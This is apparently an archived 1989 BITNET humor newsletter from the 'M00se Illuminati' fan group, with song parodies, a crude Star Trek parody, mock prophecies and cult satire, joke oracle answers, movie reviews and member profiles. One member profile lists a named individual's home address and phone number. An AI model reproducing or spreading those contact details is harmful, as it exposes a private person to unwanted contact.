and I have no commitment to that.
Sad as a lonely little bald m00se,
he said well I don't claim to be happy about this, m00se,
and I don't seem to be happy 'bout that.
I don't want no part of this crazy thr0ng,
I don't want no part of your thr0ng,
I don't want no part of this crazy thr0ng,
I don't want no part of your thr0ng.
I don't want no part of this crazy thr0ng,
I don't want no part of your thr0ng,
I don't want no part of this crazy thr0ng,
I don't want no part of this crazy thr0ng.
She says she knows about thr0ngs
this time the thr0ng is after me,
Well, I have no commitment to them,
and they have no commitment to me.
Somebody could trample into this room
and say your fur is on fire,
it's all over the evening boards,
all about the fire on your fur
on the evening boards.
I don't want no part of this crazy thr0ng,
I don't want no part of your thr0ng,
I don't want no part of this crazy thr0ng,
I don't want no part of your thr0ng.
Fuzzy Gund the Archm00se
files for his boss,
he says well this will eat up a year of my growth,
and then maybe this thr0ng will get lost.
She says the thr0ng is out for me,
I say the thr0ng is out for her,
I said I have no commitment to them--
well, we'll just have to wait for the herd.
I don't want no part of this crazy thr0ng,
I don't want no part of your thr0ng,
I don't want no part of this crazy thr0ng,
I don't want no part of your thr0ng,
I don't want no part of this crazy thr0ng,
I don't want no part of your thr0ng,
I don't want no part of this crazy thr0ng,
I don't want no part of this crazy thr0ng.
THAT WAS YOUR MA M00SE
======================
A long time ago, bl00p,
before you were born a m00se,
when I was still a calf
and thr0ngs were great,
I held this job as a traveling salesm00se,
that kept me herded from state to state.
Well I'm standing on the corner of Ellicott,
state of Confusion,
wondering where a city m00se could go,
to get a little conversation
slurp a little red wine,
catch a little bit of those Buffalo m00se,
dancing to Zydem00.
Along came a young m00se,
she's pretty as a matchbook,
hairy as a hostess on Christmas day,
I said "oh Bl00p!" could this be my luck,
if that's a matchbook,
Lord let us mate!
Well I'm standing on the corner of Ellicott,
state of Confusion,
wondering what a city m00se could do,
to get her in a convertible,
slurp a little red wine,
dance to the music of Clifton CheM00se
the King of the Bay00
Well that was your ma-m00se,
and that was your bull-m00se,
before you were born a m00se,
when thr0ngs were great.
You are the burden of my generation,
but I sure do love you,
so let's celebrate!
Well I'm standing on the corner of Ellicott,
across the lot from Fargo,
heading down to the Richmond Cafe.
Maybe get a little indigestion,
slurp a little red wine,
standing in the shadow of Clifton CheM00se,
Bl00ping the night away!
*---BritM00se and Mel0dy,
The Musical M00se.
- - - - - - - - - - - - - - - - - - - - - - - - - - -
We have this gem thanx to the folks at Wesleyan... :^)
Star Trash The Next Generation...
##########################################################################
[The scene: The U.S.S. Enterprise is in orbit around the planet Toupee,
reputed to be the home of an unknown intelligent race. Worf, Riker, and Troi
have beamed down to the surface. They are standing in a swamp. Back on board
the Enterprise, Data, Wesley, Geordie, Picard, and the token Engineering Chief
from the British Isles are at their stations.]
{Cheesy Theme Music}
Picard: Number one, report
Riker:We're in a swamp
Picard:(Nervously fingering his bald pate)Not good enough, number one
Riker:We're in a really big swamp, and Troi is lifting up her skirt to avoid
getting her uniform dirty, providing a great view of her legs.
Picard:That's better. Put them on screen, Wesley.
Wesley:Gosh, the landing party, sir?
Picard:No, ensign. Troi's legs.
Wesley:Yes, SIR! I've hit puberty and gosh, it's great!
Geordie:Lookin' good, Troi!
Troi:I feel...male hormones surging around me...it's wonderful
Worf:Growl
Riker:Wait, Captain, there's something moving in the trees.
Troi:I feel...someone's hand on my thigh...
Worf:Let me kill it, sir!
Picard:Cut it out, Number One.
Riker:But it's not me, sir. It's...AAaaaagghhhh!!!
Picard:Number One? Come in, Number One!
Data:We've lost contact, sir
[screen goes blank from Picard's anguished stare
Tune in next time for more rehashed plots!
##########################################################################
Picking up where we left off...
Picard:Beam them up immediately!
Token Accent:Aye sir!
Picard:Okay, bridge crew, everyone with intelligence down to the transporter
room. Second rate incompetents, the helm is yours
Ensign Large Blue Squidoid:Hrurh Bluh Gruhuh (Meaning, Thanks, Sir. Gee, Your
head is shiny today.)
{Transporter Room}
Riker:Well, sir, we're back.
Worf:Captain, we've destroyed the hostile life forms. Fuck the Prime
Directive.
Data:Captain, something is amiss. Specifically, I refer to the presence of a
life form superficially resembling human hair on Lt. Worf's skull.
Wesley:Gosh, it looks like Deanna has chest hair.
Troi:Captain, I feel great...embarrassment. Can I show off my thighs again?
Geordie:Good Lord, Riker has one, too!
Data:No, Geordie. That is merely his beard.
Worf:Growl. We should destroy these beings immediately. Besides, I look
like...a human.
Geordie:Why not? You're already a yuppie.
Wesley:Look, Captain, the one on Deanna's chest! It's moving!
Riker:I'll grab it.
Token Accent:Och. I just had to say that.
Picard:I'll deal with this, Number One.
Data:Watch out, sir.
{It jumps onto Picard's head}
Data:It appears to have jumped onto the captain's head.
{Shot closes with close up of Picard's ecstatic face.}
More soon....
(For more episodes send to WITHALL@CTSTATEU and I will send it all...)
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
Here are the next installments of The Prophecies According to Lord Trelf
for May and June. [But first I would like to put in a small topical comment.
My prophecies may be odd, but on one day - Sunday, June 4 - the Chinese
Army marched into a square and killed several hundred students, the
Ayatollah Khomeni died, and two Trans-Siberian Railways trains exploded
next to each other, killing hundreds of children...this shit is stranger than
anything I could come up with.] And now, on to the prophecies ------
May -
A quiet month, as the first half of it was spent in world-wide
celebration of the anniversary of the birth of Lord Trelf. Lord Trelf's
actual whereabouts are unknown at that time, but it is rumored that he
has made an abode for himself on the surface of the moon and is
watching over the earth. Almost overnight a major cult springs into being.
It's followers, The Worshippers of His High Holy Trelfness, announce that
they have received direct word from the demi-god that he has been watching
the occurrences of the past months and will eventually take a hand in the
turmoil to restore peace and order in the lands. The Dark Queen laughs
the beliefs off, calling them "even more ridiculous than some of Sonny's
old sexual fantasies regarding me and a pool of.......never mind! Get back
to work!!!!!" Kind Richard of the Low Body-Fat Content was quoted as saying,
"It would be nice if he [Lord Trelf] were watching over our struggle against
the Dark Queen, but it is even more far-fetched than Sonny Bono's old
fantasies about me and a vat of....never mind! Now Side Kicks to the left...
9 more......8 more......."
Elvis Presley, Consort to the Dark Queen, launched a one-man crusade
against what he called "that )^$%#)^^???!!!!@$#&$****@@@@@@!!!!!" Mr.
Presley was referring to rap music. Joining him, surprisingly, were
Elvis Costello, Paul McCartney, Paul Simon, and Bob Geldof. Calling
themselves "Two Guys Named Elvis, Two Guys Named Paul, and Someone
named Bob Against That Damned Monkey Music", they set out to destroy
all rap singers.
June -
Nothing happened in June...it rains too damn much in June.
- - - - - - - - - - - - - - - - - - - - - - - - - - -
More insanity from the guy who brought you mollusks...
Bl00p!!!
Howdy there! Spaceman Biff! on this end of the transmitting
thing-gummy! (Yes, the exclamation point IS part of the nick... aren't
y'all jealous that Y'ALL didn't think to put punctuation into y'all's nicks?
Nyaah, nyaah, nyaah, boo, boo!)) Anyway, I haven't time to write a long
submission, so I'll pose a question for the 0racle, or any other m00se
who might like a crack at it. Here we go:
If CBS Anchorwoman Connie Chung were to divorce her rock star
husband, Wang, and marry Sean Lingus, the air travel magnate
whose great uncle Fearghal Lingus formed the Irish line
_Aer Lingus_, would it be a violation of FCC rules to broadcast
her full name if she were to compete on an all new version of
the Battle of the Network T & A? ("Just look at that, folks!
Ms. Connie Lingus just lapped Loni Anderson")
Just Wondering,
--Spaceman Biff!
--------------------------------------------------------------------------------
******************************** ASK THE ORACLE ********************************
--------------------------------------------------------------------------------
More "Ask the Oracle" from Hal Eisen...
- - - - - - - - - - - - - - - - - - - - - - - - - - -
Where has all the flour gone?
The Oracle has answered your question as follows:
Obviously the Questioner has quite a large cockroach problem. The Oracle
will, even though it was not asked, list the two proven effective ways of
eliminating all cockroaches in one's dwelling place:
1. Plug all the cracks in the house/apartment. Don't forget the door.
Then turn on the water; come back in a week. Note that roaches cannot
breathe water.
2. Buy a large bottle of boric acid crystals from any drug store. The
theory behind this method is that roaches need hiding places. Simply
use the boric acid in your sandblaster to remove all hiding places
(e.g. the stove)
While there are less drastic methods, those are for people who have less
drastic problems.
- - - - - - - - - - - - - - - - - - - - - - - - - -
Have you ever been in love? How did you know that you were?
The Oracle has answered your question as follows:
I have indeed been in love several times and in several different
ways. Since I don't know which you mean, I'll try to cover them all.
First, I have indeed visited the charming French province of Love. As
to how I knew I was there, that was easy. I had taken the right map,
seen the sign that said (in French) Welcome to Love, and could have
further confirmed my location by asking any of the friendly residents
there. Of course, that wouldn't have ruled out the possibility of a
conspiracy against me, so I guess I can't be positive, but it seems
reasonable. Come to think of it, that restaurant DID look a bit
suspicious. But no, enough of that, my doctor has assured me that I
am not the victim of a conspiracy.
Second, I have also...Wait a minute. That doctor has an accent! He
must be a spy or something! Yes, of course! There is a conspiracy,
and I never was in Love at all! They must have been trying to get
information out of me or something! That little dog that kept following
me must have been the mastermind in disguise! Yes, of course! Wait,
no, STOP! Control...yes, that's it...now where's my medicine? Ah,
ok, take the pill and deep breath. Much better.
Third, I have been in L.O.V.E., a counter-espionage group. Unfortunately,
I cannot tell you what L.O.V.E. stands for, as it is top-secret. Indeed,
I should not have told you that L.O.V.E. exists, but to hell with them,
they all turned against me anyway!
Fourth, I was once enamoured of a lovely young woman. Her skin was like
silk, and she had a heart-shaped birthmark, right under her...OK, I
WILL tell you what L.O.V.E. stands for! Why should I be loyal to them
after they betrayed me? Besides, I'm almost positive that two of them
were following my when I was in Love! Damn them! OK, here it is, the
secret that could destroy the world, and it's in your hands:
<<chunk, gurgle, and other semi-gruesome sound-effects...>>
Attention. You will please disregard this message. The man who sent
it was a sick man who only meant to cause trouble. There is no such
place as Love, and certainly no such organisation as L.O.V.E. There
is, in short, no way anyone could possibly be in love.
- - - - - - - - - - - - - - - - - - - - - - - - - -
--------------------------------------------------------------------------------
******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
The Official M00se Illuminati Identification Form
M00seName: Goblin
Chapter Name: Lisa A. Withall
SCA-Name: Undecided (Viking persona)
Life Form: Vegged..
Sex: Male ___ Female _X_ Hermaphrodite ___ Other ___
Purity Quotient: _78%_ on months that begin with Z...
Present Residence: 93-31 Clinic Drive
New Britain, CT 06051
(203)224-7835
Description:
Age: 20.000
Height: 5'4"
Hair: Brown
Eyes: Blue
Look mildly athletic and am an average looking mundane..often seen
dressed in jeans and sweatshirts...been sighted in medieval garb from
time to time..
Music: Vivaldi(four seasons), Dire Straits, Talking Heads,
Scottish and Irish songs, and Rock...
SCA Interests: Brewing, garb making, medieval cooking, armor making, sewing
fighting, and making friends.
Goals: To terraform the universe into a giant Twinkie-Farm/commune.
To get at least one issue of M00se Droppings out on time and
to visit with M00ses from all over the Galaxy.
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The Official M00se Illuminati Identification Form
Chapter Name: Thomas Samuel Zemanian
Nickname(s): Spaceman Biff!, Sticklerod, Osbone, MacGyatron
Life Form: "Life?!!! You call this a Life??!!!"
Sex: Male Female ___ When Appropriate XXX
Net Address: See M00selists Purity Quotient: 174.32 ppb.
Description: 220 lbs of rock solid wimp over an avertebral
(spineless) cartilaginous framework molded into
the spirit and image of the guy who used to do the
voice for Charlie the Tuna on the old Starkist com-
mercials before Phil Silver did, only rotated by 90 deg.
Favourite Saying: "When in Rome, do as the Parisians do"
Other Stuff: I like to fish, brew beer, elucidate the equilibria
of high pressure hydrocarbon mixtures, play bass
guitar, handbells, and the inscrutable Tuned Squid,
and in my spare time I make decorative tie-tacs out
of my neighbor's discarded olive pits and SS 304
hose clamps.
Well that's about it. Oh yeah, watch out, piscine world! Lord Trelf
caught a fish recently, and his zeal for piscinocapturotology shows
no signs of abating in the near future. (I must say, though, that I
prefer alluring to abating when I go fishing, but that's just my angle.)
Long Live Lord Trelf! Seig Heil den GrossenZwerg! Viva la Cucharacha
Grande! Omelette du Fromage'! (Those darn French.)
Still Lost In The Ozone,
--Spaceman Biff!
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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #28| Disclaimer: The Editors will place almost anything | June 30, 1989
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame them for the quality or content of the submissions.
Excepting those they may have written themselves, the enclosed items do not in
any way represent the Editors' opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
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**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Having just seen the Bat on friday there really isn't much to say except WOW..
"He has such nice toys.."(The Joker)
- Goblin WITHALL@CTSTATEU (Bitnet)
- SalmonM00se LEE_JES@CTSTATEU (Bitnet)
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******************************* EVENTS AND NEWS ********************************
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This just in: A thr0ng of approximately eleven m00ses was seen at the East
Hartford Showcase Cinemas on Friday, the 23rd of June. Some of them were caught
by the Channel 8 News cameras. They fl0cked through the d00rs to catch Batman
on opening night. M00ses from the Wesleyan, CCSU and Hartford Thr0ngs attended.
The m0vie received five bl00ps from Thr0ngel and M00sebert.
- - - - - - - - - - - - - - - - - - - -
If interested in M00se Illuminati T-SHIRT's contact DICKSON@HARTFORD.
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***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
Greetings my fellow M00ses!
Due to several occurences recently [and in the future] I've decided
upon something. After learning in my Prophecies that I am to become
a deity in the future, and that Spaceman Biff! [who is NOT a wimp...I wouldn't
want to wrestle him over a fish head] declaring "Long Live Lord Trelf", I've
decided to declare my own Church - "The Followers of His High Holy Trelfness".
This church, and it's followers, will make it's goals to be these - the
improvment of the shelling and cooking of mollusks, especially those
unwashed infidels the Scallops [OOOOOOHHHHH], the bettering of techiniques
designed to cause the decapitation of fish [namely, bait fishing], and
the lining of my pockets with cold hard cash.
Holy Symbol : The head of a rainbow trout sitting on a can of Foster's Beer.
Holy Colors : Cobalt Blue, White, and [what the hell] mauve.
Entrance into the order:
Very Simple - First, thou must watch the movie "Excalibur". Next,
thou must watch the video of Sam Kinison's "Wild Thing" 300 times in
a row while drinking Foster's beer and ripping the heads from Rainbow
trout. [Be sure to place the fish heads on top of the empty cans]. After
this, you should see the light and flock to me...but before you flock,
be sure to surrender over to me all bank accounts, credit cards, and rebate
stickers.
Gifts of Lord Trelf:
Remember, His High Holy Trelfness, Lord Trelf, is a most kind and
benevolent spiritual leader, and will grant many gifts to his followers.
These include eternal happiness, peace of mind, free love [a small nominal
fee], contentment, and this beautiful yet fuctional 20-IN-1 digital watch.
So come to me, my M00ses, flock to my banner and revel in my Trelfness.
The universe and all eternity will be yours!
Copyright: 1989, Ronco Enterprises
- - - - - - - - - - - - - - - - - - - - - - - - - - -
Another song from those musical m00ses...
Have you ever seen a m00se,
fearless and brave,
calm and couth?
Have you ever seen him run,
scared and cowardly,
from a large gun?
Have you ever seen him eat,
large portions of hay,
and gleaming wheat?
Have you ever seen him rest,
in the meadow or forest,
at his personal best?
Have you ever seen him fight,
another m00se or c0w,
in the day or night?
Have you ever found a m00se,
that could be your friend,
all hip and loose?
If you have, you've passed the test,
you've found your calling,
You're one of the best.
Bl00p!
*BritM00se*
&
**Mel0dy the Musical M00se**
- - - - - - - - - - - - - - - - - - - - - - - - - - -
More Star Trash...
********************************************************************************
Data:Captain, there is an alien life form on your head!
Picard:Nonsense, Data. I simply have a (sigh) full head of hair again.
Data:Nevertheless, it could be dangerous. I suggest we go to the medlab for
some tests.
Troi:Captain, I am feeling...
Riker:You're feeling Wesley. Hands off, kid.
Wesley:Gosh, sir, sorry.
Worf:Hmmm. Giordi, is this look ME?
Giordi:Looks good to me, Worf.
Data:Captain, I must insist. If nothing else, the Chief Medical Officer has
not yet appeared in this episode, and this provides an opportunity for
your smoldering potential romance to receive more screen time.
Picard:No, I can handle this. As you were. Number one, you have the helm.
{Captain's Cabin}
Wesley:Knock knock
Picard:Come, no no, stop thinking about Troi, ensign.
Wesley:Yessir. Well, sir, I was wondering about the alien life form you have
on your head.
Picard:Yes, what about it?
Wesley:Well, sir, Troi says she feels unhappiness radiating from it in great
waves, sir. The one on Worf is apparently happy, but yours is ill,
sir.
Picard:Nonsense, Wesley. I have perfect faith in Counselor Troi's legs, make
that abilities, but this time she is mistaken.
{The alien life form slides off Picard's head, obviously kaput}
Picard:Medteam to the Captian's quarters on the double. Emergency!
{Close with closeup shot of Picard's anguished face}
********************************************************************************
{The Medlab}
Pulaski:Well, it's definitely dead.
Picard:What killed it?
Data:Analysis indicates that the buildup of polishing materials on your scalp,
Captain, was toxic to the organism.
Picard:That's ridiculous.
Data:Captain, you command a ship crewed by an android, a yuppie Klingon, the
bastard son of James T. Kirk, a blind helmsman, the most precocious
humanoid geek in the galaxy, and a walking biorhythms machine, and you
have the gall to call ANYTHING ridiculous?
Picard:Point taken, Data. Number Two?
Crew:Umm, who's that, I dunno, what number are you?
Picard:Never mind. Where's Worf? We must confiscate and examine his lifeform
before it's too late.
Worf:Growl. You called, Captain?
Picard:Yes, Lt. Worf. You must remove the life form from your head and
surrender it to Dr. Pulaski here for examination. One of the creatures
has already died and before anything else happens, I want to know
what's going on.
Worf:Yes, sir (Tries to take it off but it won't budge) Captain, the organism
is attached to my head. Growl!
Data:As I am an android, sir, perhaps I could give it a try, seeing as my
strength is greater than that of any lifeform.
Picard:Go right ahead, Data.
(Data rips the Toupee off Worf's head and suddenly the ship
starts to shudder, red lights sound, and the camera
goes 37 degrees to the left)
Giordi:Data, I told you to cut that stuff out!
Wesley:(Over the intercom)Captain, we're under attack! Gosh!
Picard:We're on our way. Picard out. Let's go, people
{Closing shot of Picard's determined face}
--------------------------------------------------------------------------------
*************************** M00SCELLANEOUS NONSENSE ****************************
--------------------------------------------------------------------------------
June 19, 1989
Bl00p! Spaceman Biff! here.
Okay, after having taken on clams, scallops (oooh), fishkilling,
Saturday Morning Star Trek, Quantum Love, and the Phone Company, it's
time to address the evolution question. Specifically, why do some men
have chest hair and others not? The accepted answer has been that chest
hair is a vestigial tie to our simian past (the When-Our-Ancestors-
Jumped-Down-From-The-Trees-Some-Jumped-Farther-Than-Others theory, first
put forward by Lt. Dr. Coffman, Seoul, Korea, 1956). However, of the
hundreds of stone figurines unearthed from our prehistoric past, NOT ONE
has had deer fur, hemp,etc. glued to its chest to simulate chest hair.
In fact, the earliest reference to chest hair is that in the bible, when
Esau, a swarthy and hairy dude, was cheated out of his inheritance for a
bowl of soup (noone ever said hairy=brainy) by his brother, who was
jealous of the lush growth on his bosom (pardon). The conclusion is
obvious; chest hair developed sometime between prehistoric time (June 19,
100,000 BC) and the Biblical age.
Now, normally, such mutations persist and dominate the earlier
species due to a biological advantage either created by the mutation or
imposed by the environment. However, jealous younger brats aside, there
has been no particular advantage to hairychestedness; and thus both
varieties of human male have persisted.
What, then, is chest hair for? I think I have discovered the
answer. It's for storing soap lather in the shower. Thus, with the
invention of the shower in the nineteenth century, a tremendous
biological advantage was created, favoring follicled fronts. For
example, men who can more effectively store soap under a coursing stream
of water will necessarily be cleaner, and thus more attractive to the
female of the species, and thus more likely to propagate. This is the
first known mutation that preceded the need by hundreds upon thousands
of years. In any case, I predict that "smoothies" will die out within
seven thousand years, and that the advantage will eventually be
developed through mutation by the female as well. Blissfully, I will be
dead by then.
I used no chemicals, my confusion is natural,
--Spaceman Biff!
- - - - - - - - - - - - - - - - - - - - - - - - - - -
In an exercise of pomposity and self-indulgent behavior, I am pleased to
announce the first installment in a perhaps-regular feature:
PICKLE REVIEWS THE MOVIES
The title above may change from issue to issue, however, as I feel equally
inclined to tell you how to feel about records and books. For now, however,
it's going to be a movie. So let's get right along with my review of...
DEAD POETS SOCIETY
This movie is incredible. By that, of course, I don't mean unbelievable,
I mean amazingly good. It reinforces a fact that is obvious to some of us
already: Literature and writing are the single most important subjects to
learn about in the entire universe.
Engineering and the like are "noble pursuits, and necessary to sustain
life," says Robin Williams in his role as English teacher John Keating. "But
poetry, beauty, love -- these are what we stay alive *for*."
I admit, it is difficult to take Robin Williams seriously at first. One
look at that face and all you can think of is "Hallloooooooo! Shut the fuck
up!" But as soon as he starts teaching his class, you start forgetting that he
is a stand-up comedian.
The other actors are also very good. Unfortunately, I don't recall any of
their names, and I haven't got a paper with me. But watch Neil, Todd, and
Charlie for exceptional performances. The young woman who plays Chris, The
Most Beautiful Girl Knox Overstreet Has Ever Seen In His Life And Who Rates
Pretty High Up On My Scale Too, does that job rather well. She acts, too, and
quickly convinces you that Knox *would* fall in love with her in a single
evening.
Oh, and RoboCop fans, look at Neil's dumb-ass father! Recognize him?
That's right! It's our buddy Clarence Boddicker (sp?), meanest crime-boss in
town! The man is slime, and I hope I see him on-screen a lot more.
What more can I say? I know. The photography is amazing, and the music
is very good. But I think that's about all I can say without giving too much
away. Now, how shall I rate films? I know....
DEAD POETS SOCIETY: BL00P BL00P BL00P BL00P BL00P
That'll be the highest rating I give. If I use some other animal sound
besides that of the majestic m00se, you'll know I really hated it.
You know, this is fun. And it was kind of short, so I think I'll go on.
Now, for Pickle's videotape review of the day:
EVIL DEAD II
This movie is great! I laughed so hard I had tears in my eyes! Easily
the funniest movie I've seen all year, probably the funniest since Roger
Rabbit. I have to thank fellow founding m00se Mike Harm for making me watch
this one.
Some background: Evil Dead was a very bad horror film made more than ten
years ago. Some bozo said, "Hey....let's get the same lead actor, rebuild the
set, and make a sequel."
Somebody else, not without justification, pointed out that the first movie
had really sucked goose eggs.
"So, we'll have fun with this one," the bozo said.
Man, did they! I hear that for one scene, where blood is supposed to
squirt out of a hole in a wall, they bought the wrong pump. Blood gushes out
of every possible opening on that side of the room with approximately the force
of a firehose. When they saw the result, the film makers said, "what the hell?
It's funnier that way."
The lead actor is perfect. Faking (obviously) tears for his girlfriend
one minute, looking like a deranged Mel Gibson Road Warrior the next, laughing
in a stark, raving mad fashion at another point, he gets put through hell in
this movie and makes you love every sadistic minute of it. The scene where his
hand gets possessed and beats him senseless with dishes is hysterical. Even
better is when he starts a chainsaw with his teeth and amputates the offensive
little critter, shouting "WHO'S LAUGHING NOW?! WHOOO'S LAUGHING NNOOOWWWW?!?!?"
And that's just the beginning. It gets FAR more deranged, entertaining, and
laugh-riot-ish later on.
The great thing about this movie is that, while we all like to rent bad
movies and laugh at them, this one was made just for that purpose. And so you
can't really say it's bad. It's not a horror film, it's a gruesome comedy, and
a damn funny one.
Only problem with the movie is that they don't tell you that the first
five minutes is a condensed version of the first movie. So when you rent this,
bear in mind that the whole section up until the front door of the house
explodes and the camera rushes toward the main character, and he turns around
and screams, is intro. Yeah, I know it's a bad sentence. Go write your own
movie reviews.
I've heard the first movie isn't worth seeing even as background, so I
haven't watched it. Evil Dead II is thoroughly enjoyable without it.
EVIL DEAD II: BL00P BL00P BL00P BL00P
This has been your roving entertainment critic/cynic/snob. If you
disagree with me, your artistic opinions are obviously not worth a damn.
NOTE: The snobbish, mildly offensive attitude in these reviews is simply part
of getting into character for the reviewing business. Don't take it personally.
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******************************* MEET THE M00SES ********************************
--------------------------------------------------------------------------------
W W ^ W W
WW WW / \ WW WW
WWWWWW/ \WWWWWW
/ {0} \
/ \
/ VVVVVVV \
/ ^^^U^^^ \
/_____________\
Chapter Name: B0liver Shagnasty Chapter (formerly Din0m00se Chapter)
Grand P00bah: Christopher Weller
Bullm00se: C. Weller
Treasurer: Toph "Mad Dog" Weller
Thr0ng: Wilfed Hyde-White thr0ng (formerly Trinity Throng)
Nickname(s): Black Adder, Roach, Dark Qvelle, Hey, You!
Life Form: I'm receiving strange readings, Captain.....
Positions of
Importance: Jester, Trinity Fantasy Guild; High Priest of Isaac Azathoth
bullm00se of Wilfred Hyde-White thr0--
I WON'T INTERRUPT THIS ID FILE FOR A POUND.
Sex: Okay, come round my place about 11:30. BYO Mayonaise.
Net Adress: CWELLER@TRINCC Purity Quotient: 55.5% (2/89)
Description: Carbonbasedbipedalcaucasian of Half(insertpointyearraceof
yourchoice) descent approxiamtelyfivefootninebyonehundredfifty
poundsBrownhairBlueeyesand twelvetentacle-likeappendages.
Favourite Saying: "If you can't say anything nice about anyone, come sit
next to me."
--somebody
Religion: Relaxed Agnostic. Dunno the answers, ain't lookin' too hard.
Patron dieties: Elvis, Isaac Azath0th
Pet: Lord Siegfried Montgomery Lizardo a fuckin' pesky ferret.
Activities: Trinity College Fantasy Guild (Veep), RPG's (ADND,
Champions, Star Wars), Comic Books, Scifi, Movies, Books,
Writing, Interactive Literature.
College Info: Trinity College (Hartford CT) Class of 91
Major: East Asian Studies (Nihongo o hanashimaska?)
Other: kimble grumble knock vent whoop! Whoop! Finercrimson
duck duck nurley wang tang Chocobar Galactica!
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FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD
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The Official M00se Illuminati Identification Form
Chapter Name: Kendall Rush
Nickname(s): Satan,Mentat Mode(a Dune(the series) reference), Rasta
Life Form: Subconscious Projection
Sex: Male by birth, Heterosexual By Choice, Monogomist by
Neccessity
Net Address: v096jbxl@ubvmsd Purity Quotient: 64%
but I'm trying
Description: 6'3, ex-high school footballer (lineman), brown eyes,
and black hair, known to be a charmer.
Favourite Saying: "Every body wants to go to heaven but no one wants to die"
"I hear ya... i'm withya... a thousand points of light."
Other Stuff: I like any form of music as long as it's not redundant
and/or you can dance to it. Really fond of Reggae and
African Folk as well as Afro-pop.
I can usually found with my nose in a book.
I like hard core punk and when asked how come I
don't look like a punker, my favorite answer is,
"I'm a non-conformist, and in order to prove my
non-conformity you expect me to conform to what
society believes a non-conformist should look like,
and only until I conform to what society thinks, does
the punk community of the place consider me a
non-conformist. This my friend is a what we call a catch
22 there fore I look like i do because I refuse to
be like anyone says I should be or expects me to be.
I try for true non-conformity."
P.S.
I'm also known for thinking too much and/or for my
Philisophical Bullshit.!
May The Circle Be Unbroken,
Mentat M00se
Of The U.B. Giga-Throng
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A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE
M00SE ILLUMINATI
Issue #29| Disclaimer: The Editors will place almost anything | Sept. 5, 1989
---------- in this newsletter out of a frantic desire to fill ---------------
the issue, so don't blame them for the quality or content of the submissions.
Excepting those they may have written themselves, the enclosed items do not in
any way represent the Editors' opinions. In fact, let's be real safe, and say
that as far as this newsletter is concerned, they have no opinions at all. OK?
================================================================================
--------------------------------------------------------------------------------
**************************** EDITORIALS AND LETTERS ****************************
--------------------------------------------------------------------------------
Greetings all!
Well, this is the Back-to-school issue as well, I guess... Some of you may
have tried to send messages to us and had them bounce (most of the messages
made it through, but some people say they sent messages which we never
received) because our node was up and down all summer.
I've heard (from a fairly reliable source) that Sylvester Stallone wishes to
play the lead role in a movie about Edgar Allen Poe. Can anyone else
corroborate? (Does anyone have time to imagine what this may lead to? If so,
send us an article on it...) Sounds almost like Danny DeVito playing the
Penguin... it just doesn't mesh in my mind...
If you aren't on the mailing list, send me a message telling me so :)
If you ARE, and no longer wish to be, send a message as well. Please note that
all submissions should to to *GOBLIN* (her address is below). All
administrative business is my bailiwick, so address all such mail to me. If
you are on the Internet, my address is LEE_JES%CTSTATEU.BITNET@CUNYVM.CUNY.EDU.
Well, so much for rain... (Frank, call those rain gods back!)
- Goblin WITHALL@CTSTATEU (BITNet)
- SalmonM00se LEE_JES@CTSTATEU (BITNet)
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******************************* EVENTS AND NEWS ********************************
--------------------------------------------------------------------------------
Looking: Seeking people in CT or surrounding area to respond and request a
thr0ng-a-th0n! Send mail to WITHALL@CTSTATEU if interested. I want to set a
date for it and time. - Goblin
- - - - - - - - - - - - - - - - - - - -
Reports of a Mini-Thr0ng-A-Th0n taking place in Connecticut have been proven
true. Those of you interested contact WITHALL@CTSTATEU (Goblin).
- - - - - - - - - - - - - - - - - - - -
The M00se Illuminati T-shirts are now underway!
- - - - - - - - - - - - - - - - - - - -
If interested in M00se Illuminati T-SHIRTs contact DICKSON@HARTFORD.
- - - - - - - - - - - - - - - - - - - -
Wanted: Slow dull witted waterbed looking for newt as a companion.
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***************************** FICTION AND POETRY *******************************
--------------------------------------------------------------------------------
Fellow M00ses, Bl00pers, Bl00mers, and B0ss0ms,
[c'mon...didn't any of you ever read Bloom County???geeeesh]
Anwyay, In light of happenings in recent weeks, I, Lord Trelf, have
been moved by my poetic [and burly] muse to put my ever-thraining thoughts
to words...and in that light, I present to you.....
Ode To Rain What Keeps Us From Ripping The Heads Off Fish
___ __ ____ ____ _____ __ ____ _______ ___ _____ ___ ____
Oh Rain! Oh Downpour!
Oh Demonic Condensation Of The Nether Hells!
It's you what keeps me from my alloted task -
that of ripping the heads from poor unsuspecting fish!
Your myriad drops fall upon my head
and frighten the little fishies from the
Surface of the still waters -
waters still no longer thanks to your
large bulbous drops which do splash and splatter
on the surface of the once-still waters,
causing them to bubble and ripple,
ceasing their silky stillness.
Oh Rain! Oh Ye Spiteful Bastard!
Forcing me home to a most bland dinner
of Hamburger Helper - damn that sentient hand!
Oh for Fish Florentine! or Fish Picante!
Or maybe even a [dare I pray?]
A Cajun Blackened Red Snapper -
Oh how I long for these as I stare at
that smirking Hand.
Oh the Joys I could have were it not for
you,
Oh Rain What Keeps Us From Ripping The Heads Off Fish!
Oh Rain, Oh Unmerciful Wrath of the Gods!
Why do you torment me so?
Me, who wants only to dwell in the sublime pleasures
one can only achieve by twisting and ripping the
head of a hapless trout or bass from it's
non-existent shoulders!
Speak to Me! Tell unto me thy reasons!
Oh Rain What Keeps Us From Ripping The Heads Off Fish!
- - - - - - - - - - - - - - - - - - - - - - - - - - -
And now, more prophesies from the ever-musculaturing [working in a
shipping and receiving department will do this to you] High Lord Trelf.
July:
Massive earthquakes strike Burma, Moscow, Berlin, and California
as Dom DeLuise and Luciano Pavarotti simultaneously trip and fall to the
ground. The death toll stands at 326,571.
The Dark Queen issues a new edict: "Thou shalt not take My Name
in thrain." Confusion runs rampant through the lands as the populace tries
to figure out the meaning of this new law. Some theories suggest Her
Darkness hiccuped while uttering the law, which should have been "Thou
shalt not take my name in the rain", while others think it meant "Thou
shalt not split my brain in twain." Still others thought she said "Thou
shalt not pretend I'm Mark Twain," and a small faction located in the
